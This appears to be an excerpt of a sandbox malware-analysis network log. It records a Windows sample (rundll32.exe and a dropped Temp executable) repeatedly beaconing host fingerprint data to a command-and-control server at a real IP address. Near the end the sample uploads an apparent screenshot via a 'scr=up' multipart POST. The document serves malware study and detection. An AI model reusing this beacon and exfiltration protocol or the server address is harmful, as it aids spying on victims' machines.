416	176.111.174.114	80	192.168.2.5	49958	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.103708029 CEST	8915	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.5	49960	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.330045938 CEST	8996	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	176.111.174.114	80	192.168.2.5	49960	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.433378935 CEST	9088	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	176.111.174.114	80	192.168.2.5	49959	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.458952904 CEST	9090	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49732	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.054385900 CEST	1584	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.5	49962	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.638082027 CEST	9090	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	176.111.174.114	80	192.168.2.5	49962	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.738553047 CEST	9091	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.5	49963	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:29.951824903 CEST	9092	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	176.111.174.114	80	192.168.2.5	49963	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.055701971 CEST	9092	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.5	49964	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.259459972 CEST	9092	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	176.111.174.114	80	192.168.2.5	49964	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.356358051 CEST	9093	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.5	49965	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.561480999 CEST	9094	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	176.111.174.114	80	192.168.2.5	49965	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.665523052 CEST	9094	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.5	49966	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.875529051 CEST	9095	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	176.111.174.114	80	192.168.2.5	49966	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:30.976270914 CEST	9095	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	176.111.174.114	80	192.168.2.5	49732	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.157846928 CEST	1585	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.5	49968	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.187347889 CEST	9096	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	176.111.174.114	80	192.168.2.5	49968	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.288309097 CEST	9096	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.5	49969	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.501538992 CEST	9097	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	176.111.174.114	80	192.168.2.5	49969	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.605528116 CEST	9097	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.5	49970	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.808092117 CEST	9098	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	176.111.174.114	80	192.168.2.5	49970	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:31.905109882 CEST	9098	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.5	49971	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.117480993 CEST	9099	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	176.111.174.114	80	192.168.2.5	49971	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.218226910 CEST	9099	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.5	49972	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.438205004 CEST	9100	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	176.111.174.114	80	192.168.2.5	49972	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.540828943 CEST	9100	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49734	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.365915060 CEST	1585	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.5	49973	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.541198015 CEST	9114	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ 